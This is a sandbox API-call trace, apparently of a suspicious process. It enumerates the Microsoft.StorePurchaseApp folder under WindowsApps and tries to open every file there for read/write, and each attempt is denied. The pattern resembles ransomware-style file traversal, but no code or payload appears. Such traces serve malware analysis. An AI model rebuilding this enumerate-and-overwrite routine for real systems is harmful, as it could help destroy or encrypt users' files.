	[0082.043] wcscat (in: _Dest=0x46a5890, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0091.207] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.storepurchaseapp_1.0.45.0_x64__8wekyb3d8bbwe\\appxblockmap.xml")) returned 0x20
	[0091.208] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0091.208] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.storepurchaseapp_1.0.45.0_x64__8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.208] GetLastError () returned 0x5
	[0091.208] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0091.208] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x46a5890) returned 1
	[0091.208] FindNextFileW (in: hFindFile=0x46a7150, lpFindFileData=0x47130e0 | out: lpFindFileData=0x47130e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x137b8f21, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x137df17b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x137df17b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xd2d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0091.208] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0091.208] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0091.208] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xca) returned 0x2e12e18
	[0091.208] wcscpy (in: _Dest=0x2e12e18, _Source="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe"
	[0091.208] wcscat (in: _Dest=0x2e12e18, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\"
	[0091.208] wcscat (in: _Dest=0x2e12e18, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\AppxManifest.xml"
	[0091.208] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.storepurchaseapp_1.0.45.0_x64__8wekyb3d8bbwe\\appxmanifest.xml")) returned 0x20
	[0091.210] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0091.210] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.storepurchaseapp_1.0.45.0_x64__8wekyb3d8bbwe\\appxmanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.211] GetLastError () returned 0x5
	[0091.211] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0091.211] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e12e18) returned 1
	[0091.211] FindNextFileW (in: hFindFile=0x46a7150, lpFindFileData=0x47130e0 | out: lpFindFileData=0x47130e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x138053d9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb0975177, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x138053d9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0091.211] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0091.211] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0091.211] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x4718350
	[0091.211] wcscpy (in: _Dest=0x4718350, _Source="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe"
	[0091.211] wcscat (in: _Dest=0x4718350, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\"
	[0091.211] wcscat (in: _Dest=0x4718350, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0091.211] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x4718eb0
	[0091.211] wcscpy (in: _Dest=0x4718eb0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0091.211] wcscat (in: _Dest=0x4718eb0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\AppxMetadata\\"
	[0091.211] wcscat (in: _Dest=0x4718eb0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\AppxMetadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\AppxMetadata\\*"
	[0091.211] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502f230
	[0091.211] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\AppxMetadata\\*", lpFindFileData=0x502f230 | out: lpFindFileData=0x502f230*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x138053d9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb0975177, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x138053d9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b1a8
	[0091.211] wcscmp (_String1=".", _String2=".") returned 0
	[0091.211] FindNextFileW (in: hFindFile=0x477b1a8, lpFindFileData=0x502f230 | out: lpFindFileData=0x502f230*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x138053d9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb0975177, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x138053d9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.211] wcscmp (_String1="..", _String2=".") returned 1
	[0091.211] wcscmp (_String1="..", _String2="..") returned 0
	[0091.212] FindNextFileW (in: hFindFile=0x477b1a8, lpFindFileData=0x502f230 | out: lpFindFileData=0x502f230*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x138053d9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x138053d9, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x138053d9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2a8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CodeIntegrity.cat", cAlternateFileName="")) returned 1
	[0091.212] wcscmp (_String1="CodeIntegrity.cat", _String2=".") returned 1
	[0091.212] wcscmp (_String1="CodeIntegrity.cat", _String2="..") returned 1
	[0091.212] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe6) returned 0x491d178
	[0091.212] wcscpy (in: _Dest=0x491d178, _Source="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0091.212] wcscat (in: _Dest=0x491d178, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\AppxMetadata\\"
	[0091.212] wcscat (in: _Dest=0x491d178, _Source="CodeIntegrity.cat" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat"
	[0091.212] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\microsoft.storepurchaseapp_1.0.45.0_x64__8wekyb3d8bbwe\\appxmetadata\\codeintegrity.cat")) returned 0x20
	[0091.212] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat", dwFileAttributes=0x20) returned 0
	[0091.212] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\microsoft.storepurchaseapp_1.0.45.0_x64__8wekyb3d8bbwe\\appxmetadata\\codeintegrity.cat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.212] GetLastError () returned 0x5
	[0091.212] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat", dwFileAttributes=0x20) returned 0
	[0091.212] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491d178) returned 1
	[0091.212] FindNextFileW (in: hFindFile=0x477b1a8, lpFindFileData=0x502f230 | out: lpFindFileData=0x502f230*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x138053d9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x138053d9, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x138053d9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2a8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CodeIntegrity.cat", cAlternateFileName="")) returned 0
	[0091.212] FindClose (in: hFindFile=0x477b1a8 | out: hFindFile=0x477b1a8) returned 1
	[0091.213] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502f230) returned 1
	[0091.213] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4718eb0) returned 1
	[0091.213] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4718350) returned 1
	[0091.213] FindNextFileW (in: hFindFile=0x46a7150, lpFindFileData=0x47130e0 | out: lpFindFileData=0x47130e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x137df17b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x138053d9, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x138053d9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2992, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0091.213] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0091.213] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0091.213] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x2e12e18
	[0091.213] wcscpy (in: _Dest=0x2e12e18, _Source="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe"
	[0091.213] wcscat (in: _Dest=0x2e12e18, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\"
	[0091.213] wcscat (in: _Dest=0x2e12e18, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x"
	[0091.213] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.storepurchaseapp_1.0.45.0_x64__8wekyb3d8bbwe\\appxsignature.p7x")) returned 0x20
	[0091.216] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0091.216] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.storepurchaseapp_1.0.45.0_x64__8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.216] GetLastError () returned 0x5
	[0091.216] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0091.216] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e12e18) returned 1
	[0091.216] FindNextFileW (in: hFindFile=0x46a7150, lpFindFileData=0x47130e0 | out: lpFindFileData=0x47130e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x138053d9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb09dc5d1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1385188b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 1
	[0091.216] wcscmp (_String1="Assets", _String2=".") returned 1
	[0091.216] wcscmp (_String1="Assets", _String2="..") returned 1
	[0091.216] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x4f2c120
	[0091.216] wcscpy (in: _Dest=0x4f2c120, _Source="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe"
	[0091.216] wcscat (in: _Dest=0x4f2c120, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\"
	[0091.216] wcscat (in: _Dest=0x4f2c120, _Source="Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets"
	[0091.216] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xba) returned 0x4926008
	[0091.216] wcscpy (in: _Dest=0x4926008, _Source="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets"
	[0091.216] wcscat (in: _Dest=0x4926008, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0091.216] wcscat (in: _Dest=0x4926008, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets\\*"
	[0091.216] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502e158
	[0091.217] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets\\*", lpFindFileData=0x502e158 | out: lpFindFileData=0x502e158*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x138053d9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb09dc5d1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1385188b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b1a8
	[0091.220] wcscmp (_String1=".", _String2=".") returned 0
	[0091.220] FindNextFileW (in: hFindFile=0x477b1a8, lpFindFileData=0x502e158 | out: lpFindFileData=0x502e158*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x138053d9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb09dc5d1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1385188b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.220] wcscmp (_String1="..", _String2=".") returned 1
	[0091.220] wcscmp (_String1="..", _String2="..") returned 0
	[0091.220] FindNextFileW (in: hFindFile=0x477b1a8, lpFindFileData=0x502e158 | out: lpFindFileData=0x502e158*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x138053d9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x1382b632, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x1382b632, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xf79, dwReserved0=0x0, dwReserved1=0x0, cFileName="SplashScreen.scale-200.png", cAlternateFileName="")) returned 1
	[0091.220] wcscmp (_String1="SplashScreen.scale-200.png", _String2=".") returned 1
	[0091.220] wcscmp (_String1="SplashScreen.scale-200.png", _String2="..") returned 1
	[0091.220] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xec) returned 0x491cc90
	[0091.220] wcscpy (in: _Dest=0x491cc90, _Source="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets"
	[0091.220] wcscat (in: _Dest=0x491cc90, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0091.220] wcscat (in: _Dest=0x491cc90, _Source="SplashScreen.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets\\SplashScreen.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets\\SplashScreen.scale-200.png"
	[0091.220] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets\\SplashScreen.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.storepurchaseapp_1.0.45.0_x64__8wekyb3d8bbwe\\assets\\splashscreen.scale-200.png")) returned 0x20
	[0091.224] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets\\SplashScreen.scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.224] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets\\SplashScreen.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.storepurchaseapp_1.0.45.0_x64__8wekyb3d8bbwe\\assets\\splashscreen.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.224] GetLastError () returned 0x5
	[0091.224] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets\\SplashScreen.scale-200.png", dwFileAttributes=0x20) returned 0
	[0091.225] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491cc90) returned 1
	[0091.225] FindNextFileW (in: hFindFile=0x477b1a8, lpFindFileData=0x502e158 | out: lpFindFileData=0x502e158*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1382b632, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x1382b632, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x1382b632, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x50f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Square150x150Logo.scale-200.png", cAlternateFileName="")) returned 1
	[0091.225] wcscmp (_String1="Square150x150Logo.scale-200.png", _String2=".") returned 1
	[0091.225] wcscmp (_String1="Square150x150Logo.scale-200.png", _String2="..") returned 1
	[0091.225] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x4776c60
	[0091.225] wcscpy (in: _Dest=0x4776c60, _Source="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets"
	[0091.225] wcscat (in: _Dest=0x4776c60, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0091.225] wcscat (in: _Dest=0x4776c60, _Source="Square150x150Logo.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets\\Square150x150Logo.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets\\Square150x150Logo.scale-200.png"
	[0091.225] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.StorePurchaseApp_1.0.45.0_x64__8wekyb3d8bbwe\\Assets\\Square150x150Logo.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.storepurchaseapp_1.0.45.0_x64__8wekyb3d8bbwe\\assets\\square150x150logo.scale-200.png")) returned 0x20
